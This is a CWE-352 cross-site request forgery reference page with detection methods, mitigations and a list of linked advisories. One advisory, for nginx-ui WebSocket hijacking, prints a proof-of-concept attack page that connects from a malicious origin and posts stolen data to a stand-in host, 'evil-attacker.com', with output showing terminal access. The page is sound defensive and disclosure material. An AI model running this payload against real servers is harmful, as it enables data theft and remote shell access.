CWE-352
Weakness AllowedCross-Site Request Forgery
Abstraction: Compound · Status: Stable
The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.
Mapping guidance
This is a well-known Composite of multiple weaknesses that must all occur simultaneously, although it is attack-oriented in nature.
While attack-oriented composites are supported in CWE, they have not been a focus of research. There is a chance that future research or CWE scope clarifications will change or deprecate them. Perform root-cause analysis to determine if other weaknesses allow CSRF attacks to occur, and map to those weaknesses. For example, predictable CSRF tokens might allow bypass of CSRF protection mechanisms; if this occurs, they might be better characterized as randomness/predictability weaknesses.
Relationships and members
Modes of introduction
REALIZATION: This weakness is caused during implementation of an architectural security tactic.
Detection methods
Manual Analysis
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Specifically, manual analysis can be useful for finding this weakness, and for minimizing false positives assuming an understanding of business logic. However, it might not achieve desired code coverage within limited time constraints. For black-box analysis, if credentials are not known for privileged accounts, then the most security-critical portions of the application may not receive sufficient attention.
Consider using OWASP CSRFTester to identify potential issues and aid in manual analysis.
Effectiveness: High
These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
Automated Static Analysis
CSRF is currently difficult to detect reliably using automated techniques. This is because each application has its own implicit security policy that dictates which requests can be influenced by an outsider and automatically performed on behalf of a user, versus which requests require strong confidence that the user intends to make the request. For example, a keyword search of the public portion of a web site is typically expected to be encoded within a link that can be launched automatically when the user clicks on the link.
Effectiveness: Limited
Automated Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Binary Weakness Analysis - including disassembler + source code weakness analysis
Effectiveness: SOAR Partial
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Web Application Scanner
Effectiveness: High
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Fuzz Tester
Framework-based Fuzzer
Effectiveness: High
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)
Effectiveness: SOAR Partial
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: SOAR Partial
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Formal Methods / Correct-By-Construction
Effectiveness: SOAR Partial
Notes
Relationship
There can be a close relationship between XSS and CSRF (CWE-352). An attacker might use CSRF in order to trick the victim into submitting requests to the server in which the requests contain an XSS payload. A well-known example of this was the Samy worm on MySpace [REF-956]. The worm used XSS to insert malicious HTML sequences into a user's profile and add the attacker as a MySpace friend. MySpace friends of that victim would then execute the payload to modify their own profiles, causing the worm to propagate exponentially. Since the victims did not intentionally insert the malicious script themselves, CSRF was a root cause.
Theoretical
The CSRF topology is multi-channel:
Attacker (as outsider) to intermediary (as user). The interaction point is either an external or internal channel.
Intermediary (as user) to server (as victim). The activation point is an internal channel.
Content history
Contributed usability diagram concepts used by the CWE team.
updated Time_of_Introduction
updated Alternate_Terms, Description, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings
updated Applicable_Platforms, Description, Likelihood_of_Exploit, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationship_Notes, Relationships, Research_Gaps, Theoretical_Notes
updated Potential_Mitigations
Added demonstrative example for profile.
updated Demonstrative_Examples, Related_Attack_Patterns
updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Observed_Examples, Potential_Mitigations, Time_of_Introduction
updated Applicable_Platforms, Detection_Factors, References, Relationships, Taxonomy_Mappings
updated Common_Consequences, Detection_Factors, Potential_Mitigations, References, Relationships
updated Potential_Mitigations
updated Description
updated Common_Consequences
updated Relationships
updated Potential_Mitigations, References
updated Related_Attack_Patterns, Relationships
updated Potential_Mitigations
updated Relationships
updated References, Relationships
updated Detection_Factors
updated Relationships
updated Applicable_Platforms, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
updated References, Relationship_Notes, Research_Gaps
updated Relationships
updated Relationships
updated Relationships, Theoretical_Notes
updated Relationships
updated Relationships
updated Relationships
updated Relationships
updated References, Relationships
updated Mapping_Notes, Relationships
updated Relationships
updated Alternate_Terms, Common_Consequences, Description, Diagram
updated Detection_Factors, Potential_Mitigations, References
updated Applicable_Platforms, Relationships, Weakness_Ordinalities
updated Applicable_Platforms, Name, References, Relationships, Taxonomy_Mappings
15032 vulnerabilities reference this CWE, most recent first.
GHSA-78J8-Q9H7-GHFW
Vulnerability from github – Published: 2024-04-25 09:32 – Updated: 2026-04-28 21:34Cross-Site Request Forgery (CSRF) vulnerability in 大侠WP DX-Watermark.This issue affects DX-Watermark: from n/a through 1.0.4.
{
"affected": [],
"aliases": [
"CVE-2024-30560"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-25T09:15:07Z",
"severity": "CRITICAL"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in \u5927\u4fa0WP DX-Watermark.This issue affects DX-Watermark: from n/a through 1.0.4.",
"id": "GHSA-78j8-q9h7-ghfw",
"modified": "2026-04-28T21:34:57Z",
"published": "2024-04-25T09:32:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30560"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/dx-watermark/wordpress-dx-watermark-plugin-1-0-4-csrf-to-arbitrary-file-upload-and-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-78M5-76HF-68GX
Vulnerability from github – Published: 2023-04-11 09:30 – Updated: 2024-04-04 03:24Cross-site scripting vulnerability in SEIKO EPSON printers/network interface Web Config allows a remote authenticated attacker with an administrative privilege to inject an arbitrary script. [Note] Web Config is the software that allows users to check the status and change the settings of SEIKO EPSON printers/network interface via a web browser. According to SEIKO EPSON CORPORATION, it is also called as Remote Manager in some products. Web Config is pre-installed in some printers/network interface provided by SEIKO EPSON CORPORATION. For the details of the affected product names/model numbers, refer to the information provided by the vendor.
{
"affected": [],
"aliases": [
"CVE-2023-23572"
],
"database_specific": {
"cwe_ids": [
"CWE-352",
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-11T09:15:00Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting vulnerability in SEIKO EPSON printers/network interface Web Config allows a remote authenticated attacker with an administrative privilege to inject an arbitrary script. [Note] Web Config is the software that allows users to check the status and change the settings of SEIKO EPSON printers/network interface via a web browser. According to SEIKO EPSON CORPORATION, it is also called as Remote Manager in some products. Web Config is pre-installed in some printers/network interface provided by SEIKO EPSON CORPORATION. For the details of the affected product names/model numbers, refer to the information provided by the vendor.",
"id": "GHSA-78m5-76hf-68gx",
"modified": "2024-04-04T03:24:01Z",
"published": "2023-04-11T09:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23572"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN82424996"
},
{
"type": "WEB",
"url": "https://www.epson.jp/support/misc_t/230308_oshirase.htm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-78MF-482W-62QJ
Vulnerability from github – Published: 2026-04-21 15:13 – Updated: 2026-04-27 16:20Summary
All WebSocket endpoints in nginx-ui use a gorilla/websocket Upgrader with CheckOrigin unconditionally returning true, allowing Cross-Site WebSocket Hijacking (CSWSH). Combined with the fact that authentication tokens are stored in browser cookies (set via JavaScript without HttpOnly or explicit SameSite attributes), a malicious webpage can establish authenticated WebSocket connections to the nginx-ui instance when a logged-in administrator visits the attacker-controlled page.
Details
Vulnerable Code Pattern
Every WebSocket endpoint in the codebase uses the same unsafe upgrader configuration:
// Found in: api/terminal/pty.go, api/analytic/analytic.go, api/event/websocket.go,
// api/nginx_log/websocket.go, api/upstream/upstream.go, api/cluster/websocket.go,
// api/nginx/websocket.go, api/certificate/revoke.go, api/sites/websocket.go,
// api/llm/llm.go, api/llm/code_completion.go, api/system/upgrade.go
var upgrader = websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool {
return true // Accepts ALL origins
},
}
Cookie-Based Authentication
The Vue.js frontend stores JWT tokens as cookies without security attributes (app/src/pinia/moudule/user.ts):
watch(token, v => {
cookies.set('token', v, { maxAge: 86400 }) // No HttpOnly, no SameSite
})
The backend middleware accepts tokens from cookies (internal/middleware/middleware.go):
func getToken(c *gin.Context) (token string) {
// ...
if token, _ = c.Cookie("token"); token != "" {
return token
}
return ""
}
Affected Endpoints
All WebSocket endpoints under the authenticated router group are vulnerable:
| Endpoint | Impact |
|---|---|
| /api/nginx/detail_status/ws | Leak nginx performance metrics and configuration |
| /api/events | Leak system processing events |
| /api/analytic/intro | Leak CPU, memory, disk, network statistics |
| /api/nginx_log | Read nginx log files (access/error logs) |
| /api/pty | Interactive terminal access (RCE if OTP not enabled) |
| /api/upgrade/perform | Trigger system binary upgrade |
| /api/cluster/nodes/enabled | Leak and manipulate cluster node data |
PoC
Environment Setup
services:
nginx-ui:
image: uozi/nginx-ui:latest
ports:
- "9000:80"
volumes:
- nginx-ui-config:/etc/nginx-ui
volumes:
nginx-ui-config:
Attack Page (hosted on attacker-controlled domain)
<script>
// Attacker page at http://evil-attacker.com
// Victim must be logged into nginx-ui
const ws = new WebSocket('ws://TARGET_NGINX_UI:9000/api/nginx/detail_status/ws');
ws.onopen = () => console.log('CSWSH: Connected from malicious origin!');
ws.onmessage = (e) => {
console.log('Stolen data:', e.data);
fetch('https://evil-attacker.com/collect', {method:'POST', body: e.data});
};
</script>
Automated PoC Results
[+] VULNERABLE! WebSocket connected from http://evil-attacker.com
[+] Received: {"stub_status_enabled":false,"running":true,"info":{"active":0,...}}
[+] VULNERABLE! Event stream from http://evil-attacker.com
[+] Received: {"event":"processing_status","data":{"index_scanning":false,...}}
[+] VULNERABLE! Analytics from http://evil-attacker.com
[+] Received: {"avg_load":{"load1":0.1,"load5":0.2},"cpu_percent":0.08,...}
[+] CRITICAL: Terminal connected from http://evil-attacker.com!
[+] Terminal output: 'eae7a76e3ef4 login: '
[*] Sent username: root
[+] Output: 'Password: '
[+] Control test (no auth): Correctly rejected with HTTP 403
Impact
An attacker can create a malicious webpage that, when visited by an authenticated nginx-ui administrator, silently:
- Steals sensitive server information -- nginx configuration, performance metrics, CPU/memory/disk usage, network traffic statistics, and system events
- Reads nginx log files -- potentially containing sensitive request data, IP addresses, and authentication tokens
- Gains interactive terminal access -- if the administrator has not enabled OTP/2FA, the attacker obtains a full PTY shell on the server, achieving Remote Code Execution
- Triggers system operations -- including nginx reload/restart and binary upgrades
The attack requires no privileges and no knowledge of the victim's credentials. The only user interaction needed is visiting a webpage.
Remediation
- Implement proper origin validation in all WebSocket upgraders:
var upgrader = websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool {
origin := r.Header.Get("Origin")
return isAllowedOrigin(origin)
},
}
- Set secure cookie attributes:
cookies.set('token', v, { maxAge: 86400, sameSite: 'strict', secure: true })
- Add CSRF token validation to WebSocket upgrade requests as defense-in-depth.
A patch is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.5
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/0xJacky/Nginx-UI"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.10-0.20260316053337-1a9cd29a3082"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34403"
],
"database_specific": {
"cwe_ids": [
"CWE-1385",
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-21T15:13:01Z",
"nvd_published_at": "2026-04-20T21:16:36Z",
"severity": "HIGH"
},
"details": "## Summary\n\nAll WebSocket endpoints in nginx-ui use a gorilla/websocket Upgrader with CheckOrigin unconditionally returning true, allowing Cross-Site WebSocket Hijacking (CSWSH). Combined with the fact that authentication tokens are stored in browser cookies (set via JavaScript without HttpOnly or explicit SameSite attributes), a malicious webpage can establish authenticated WebSocket connections to the nginx-ui instance when a logged-in administrator visits the attacker-controlled page.\n\n## Details\n\n### Vulnerable Code Pattern\n\nEvery WebSocket endpoint in the codebase uses the same unsafe upgrader configuration:\n\n```go\n// Found in: api/terminal/pty.go, api/analytic/analytic.go, api/event/websocket.go,\n// api/nginx_log/websocket.go, api/upstream/upstream.go, api/cluster/websocket.go,\n// api/nginx/websocket.go, api/certificate/revoke.go, api/sites/websocket.go,\n// api/llm/llm.go, api/llm/code_completion.go, api/system/upgrade.go\nvar upgrader = websocket.Upgrader{\n CheckOrigin: func(r *http.Request) bool {\n return true // Accepts ALL origins\n },\n}\n```\n\n### Cookie-Based Authentication\n\nThe Vue.js frontend stores JWT tokens as cookies without security attributes (app/src/pinia/moudule/user.ts):\n\n```typescript\nwatch(token, v =\u003e {\n cookies.set(\u0027token\u0027, v, { maxAge: 86400 }) // No HttpOnly, no SameSite\n})\n```\n\nThe backend middleware accepts tokens from cookies (internal/middleware/middleware.go):\n\n```go\nfunc getToken(c *gin.Context) (token string) {\n // ...\n if token, _ = c.Cookie(\"token\"); token != \"\" {\n return token\n }\n return \"\"\n}\n```\n\n### Affected Endpoints\n\nAll WebSocket endpoints under the authenticated router group are vulnerable:\n\n| Endpoint | Impact |\n|---|---|\n| /api/nginx/detail_status/ws | Leak nginx performance metrics and configuration |\n| /api/events | Leak system processing events |\n| /api/analytic/intro | Leak CPU, memory, disk, network statistics |\n| /api/nginx_log | Read nginx log files (access/error logs) |\n| /api/pty | Interactive terminal access (RCE if OTP not enabled) |\n| /api/upgrade/perform | Trigger system binary upgrade |\n| /api/cluster/nodes/enabled | Leak and manipulate cluster node data |\n\n## PoC\n\n### Environment Setup\n\n```yaml\nservices:\n nginx-ui:\n image: uozi/nginx-ui:latest\n ports:\n - \"9000:80\"\n volumes:\n - nginx-ui-config:/etc/nginx-ui\nvolumes:\n nginx-ui-config:\n```\n\n### Attack Page (hosted on attacker-controlled domain)\n\n```html\n\u003cscript\u003e\n// Attacker page at http://evil-attacker.com\n// Victim must be logged into nginx-ui\nconst ws = new WebSocket(\u0027ws://TARGET_NGINX_UI:9000/api/nginx/detail_status/ws\u0027);\nws.onopen = () =\u003e console.log(\u0027CSWSH: Connected from malicious origin!\u0027);\nws.onmessage = (e) =\u003e {\n console.log(\u0027Stolen data:\u0027, e.data);\n fetch(\u0027https://evil-attacker.com/collect\u0027, {method:\u0027POST\u0027, body: e.data});\n};\n\u003c/script\u003e\n```\n\n### Automated PoC Results\n\n```\n[+] VULNERABLE! WebSocket connected from http://evil-attacker.com\n[+] Received: {\"stub_status_enabled\":false,\"running\":true,\"info\":{\"active\":0,...}}\n\n[+] VULNERABLE! Event stream from http://evil-attacker.com\n[+] Received: {\"event\":\"processing_status\",\"data\":{\"index_scanning\":false,...}}\n\n[+] VULNERABLE! Analytics from http://evil-attacker.com\n[+] Received: {\"avg_load\":{\"load1\":0.1,\"load5\":0.2},\"cpu_percent\":0.08,...}\n\n[+] CRITICAL: Terminal connected from http://evil-attacker.com!\n[+] Terminal output: \u0027eae7a76e3ef4 login: \u0027\n[*] Sent username: root\n[+] Output: \u0027Password: \u0027\n\n[+] Control test (no auth): Correctly rejected with HTTP 403\n```\n\n## Impact\n\nAn attacker can create a malicious webpage that, when visited by an authenticated nginx-ui administrator, silently:\n\n1. **Steals sensitive server information** -- nginx configuration, performance metrics, CPU/memory/disk usage, network traffic statistics, and system events\n2. **Reads nginx log files** -- potentially containing sensitive request data, IP addresses, and authentication tokens\n3. **Gains interactive terminal access** -- if the administrator has not enabled OTP/2FA, the attacker obtains a full PTY shell on the server, achieving Remote Code Execution\n4. **Triggers system operations** -- including nginx reload/restart and binary upgrades\n\nThe attack requires no privileges and no knowledge of the victim\u0027s credentials. The only user interaction needed is visiting a webpage.\n\n## Remediation\n\n1. Implement proper origin validation in all WebSocket upgraders:\n\n```go\nvar upgrader = websocket.Upgrader{\n CheckOrigin: func(r *http.Request) bool {\n origin := r.Header.Get(\"Origin\")\n return isAllowedOrigin(origin)\n },\n}\n```\n\n2. Set secure cookie attributes:\n```typescript\ncookies.set(\u0027token\u0027, v, { maxAge: 86400, sameSite: \u0027strict\u0027, secure: true })\n```\n\n3. Add CSRF token validation to WebSocket upgrade requests as defense-in-depth.\n\nA patch is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.5",
"id": "GHSA-78mf-482w-62qj",
"modified": "2026-04-27T16:20:34Z",
"published": "2026-04-21T15:13:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-78mf-482w-62qj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34403"
},
{
"type": "PACKAGE",
"url": "https://github.com/0xJacky/nginx-ui"
},
{
"type": "WEB",
"url": "https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L",
"type": "CVSS_V4"
}
],
"summary": "Nginx-UI: Cross-Site WebSocket Hijacking (CSWSH) via missing origin validation on all WebSocket endpoints"
}
GHSA-78MR-78X2-C4Q9
Vulnerability from github – Published: 2024-11-13 00:30 – Updated: 2024-11-18 21:30SOCIFI Socifi Guest wifi as SAAS is affected by Cross Site Request Forgery (CSRF) via the Socifi wifi portal. The application does not contain a CSRF token and request validation. An attacker can Add/Modify any random user data by sending a crafted CSRF request.
{
"affected": [],
"aliases": [
"CVE-2021-27701"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-12T23:15:03Z",
"severity": "MODERATE"
},
"details": "SOCIFI Socifi Guest wifi as SAAS is affected by Cross Site Request Forgery (CSRF) via the Socifi wifi portal. The application does not contain a CSRF token and request validation. An attacker can Add/Modify any random user data by sending a crafted CSRF request.",
"id": "GHSA-78mr-78x2-c4q9",
"modified": "2024-11-18T21:30:45Z",
"published": "2024-11-13T00:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-27701"
},
{
"type": "WEB",
"url": "https://github.com/Mrnmap/mrnmap-cve/blob/main/CVE-2021-27701"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-78MW-F4Q2-924Q
Vulnerability from github – Published: 2026-08-17 21:31 – Updated: 2026-08-17 21:31GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.2 before 18.11.11, 19.0 before 19.0.8, 19.1 before 19.1.6, and 19.2 before 19.2.4 that under certain conditions could have allowed an unauthenticated user to execute mutations via GET requests due to improper request validation in GraphQL multiplex query handling.
{
"affected": [],
"aliases": [
"CVE-2026-19650"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-17T20:16:41Z",
"severity": "HIGH"
},
"details": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.2 before 18.11.11, 19.0 before 19.0.8, 19.1 before 19.1.6, and 19.2 before 19.2.4 that under certain conditions could have allowed an unauthenticated user to execute mutations via GET requests due to improper request validation in GraphQL multiplex query handling.",
"id": "GHSA-78mw-f4q2-924q",
"modified": "2026-08-17T21:31:24Z",
"published": "2026-08-17T21:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-19650"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/3903669"
},
{
"type": "WEB",
"url": "https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-2-4-released"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/612617"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-78RQ-5Q9H-QQP7
Vulnerability from github – Published: 2025-12-13 18:30 – Updated: 2025-12-13 18:30The Popover Windows plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.2. This is due to missing or incorrect nonce validation. This makes it possible for unauthenticated attackers to update the plugin's settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
{
"affected": [],
"aliases": [
"CVE-2025-14394"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-13T16:16:49Z",
"severity": "MODERATE"
},
"details": "The Popover Windows plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.2. This is due to missing or incorrect nonce validation. This makes it possible for unauthenticated attackers to update the plugin\u0027s settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.",
"id": "GHSA-78rq-5q9h-qqp7",
"modified": "2025-12-13T18:30:21Z",
"published": "2025-12-13T18:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14394"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/popover-windows/tags/1.2/popoveroptions.php#L98"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c2af263f-960b-4807-bc85-d136136fa30f?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-78XH-7FWH-VXXR
Vulnerability from github – Published: 2023-12-20 06:30 – Updated: 2026-04-28 21:33Cross-Site Request Forgery (CSRF) vulnerability in BinaryCarpenter Menu Bar Cart Icon For WooCommerce By Binary Carpenter.This issue affects Menu Bar Cart Icon For WooCommerce By Binary Carpenter: from n/a through 1.49.3.
{
"affected": [],
"aliases": [
"CVE-2023-49855"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-18T11:15:13Z",
"severity": "HIGH"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in BinaryCarpenter Menu Bar Cart Icon For WooCommerce By Binary Carpenter.This issue affects Menu Bar Cart Icon For WooCommerce By Binary Carpenter: from n/a through 1.49.3.",
"id": "GHSA-78xh-7fwh-vxxr",
"modified": "2026-04-28T21:33:23Z",
"published": "2023-12-20T06:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49855"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/bc-menu-cart-woo/wordpress-bc-menu-bar-cart-icon-for-woocommerce-by-binary-carpenter-plugin-1-49-3-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-792H-XRGG-JFHW
Vulnerability from github – Published: 2022-05-17 01:39 – Updated: 2022-05-17 01:39Cross-site request forgery (CSRF) vulnerability in lib/filemanager/imagemanager/images.php in CMS Made Simple (CMSMS) 1.11.2 and earlier allows remote attackers to hijack the authentication of administrators for requests that delete arbitrary files via the deld parameter.
{
"affected": [],
"aliases": [
"CVE-2012-5450"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-12-03T21:55:00Z",
"severity": "MODERATE"
},
"details": "Cross-site request forgery (CSRF) vulnerability in lib/filemanager/imagemanager/images.php in CMS Made Simple (CMSMS) 1.11.2 and earlier allows remote attackers to hijack the authentication of administrators for requests that delete arbitrary files via the deld parameter.",
"id": "GHSA-792h-xrgg-jfhw",
"modified": "2022-05-17T01:39:27Z",
"published": "2022-05-17T01:39:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-5450"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/79881"
},
{
"type": "WEB",
"url": "https://www.htbridge.com/advisory/HTB23121"
},
{
"type": "WEB",
"url": "http://archives.neohapsis.com/archives/bugtraq/2012-11/0035.html"
},
{
"type": "WEB",
"url": "http://forum.cmsmadesimple.org/viewtopic.php?f=1\u0026t=63545"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.org/files/117951/CMS-Made-Simple-1.11.2-Cross-Site-Request-Forgery.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/51185"
},
{
"type": "WEB",
"url": "http://viewsvn.cmsmadesimple.org/diff.php?repname=cmsmadesimple\u0026path=%2Ftrunk%2Flib%2Ffilemanager%2FImageManager%2FClasses%2FImageManager.php\u0026rev=8400\u0026peg=8498"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-792W-8X8J-FW37
Vulnerability from github – Published: 2024-12-19 00:37 – Updated: 2024-12-31 21:30A Cross-Site Request Forgery vulnerability in Amiro.CMS before 7.8.4 allows remote attackers to create an administrator account.
{
"affected": [],
"aliases": [
"CVE-2024-56116"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-18T23:15:17Z",
"severity": "HIGH"
},
"details": "A Cross-Site Request Forgery vulnerability in Amiro.CMS before 7.8.4 allows remote attackers to create an administrator account.",
"id": "GHSA-792w-8x8j-fw37",
"modified": "2024-12-31T21:30:45Z",
"published": "2024-12-19T00:37:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56116"
},
{
"type": "WEB",
"url": "https://github.com/ComplianceControl/CVE-2024-56116"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-793P-F9Q8-V6XW
Vulnerability from github – Published: 2025-10-03 12:33 – Updated: 2025-10-03 12:33The AP Background plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.8.2. This is due to missing or incorrect nonce validation on the advParallaxBackAdminSaveSlider function. This makes it possible for unauthenticated attackers to create or modify background sliders via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
{
"affected": [],
"aliases": [
"CVE-2025-9897"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-03T12:15:50Z",
"severity": "MODERATE"
},
"details": "The AP Background plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.8.2. This is due to missing or incorrect nonce validation on the advParallaxBackAdminSaveSlider function. This makes it possible for unauthenticated attackers to create or modify background sliders via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.",
"id": "GHSA-793p-f9q8-v6xw",
"modified": "2025-10-03T12:33:16Z",
"published": "2025-10-03T12:33:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9897"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/ap-background/tags/3.8.2/includes/functions.admin.php#L135"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f6f12812-3c14-41c1-b14b-af84f835a773?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330]
- Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
Mitigation
Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
Mitigation
Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
Mitigation
Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
Mitigation
- Use the "double-submitted cookie" method as described by Felten and Zeller:
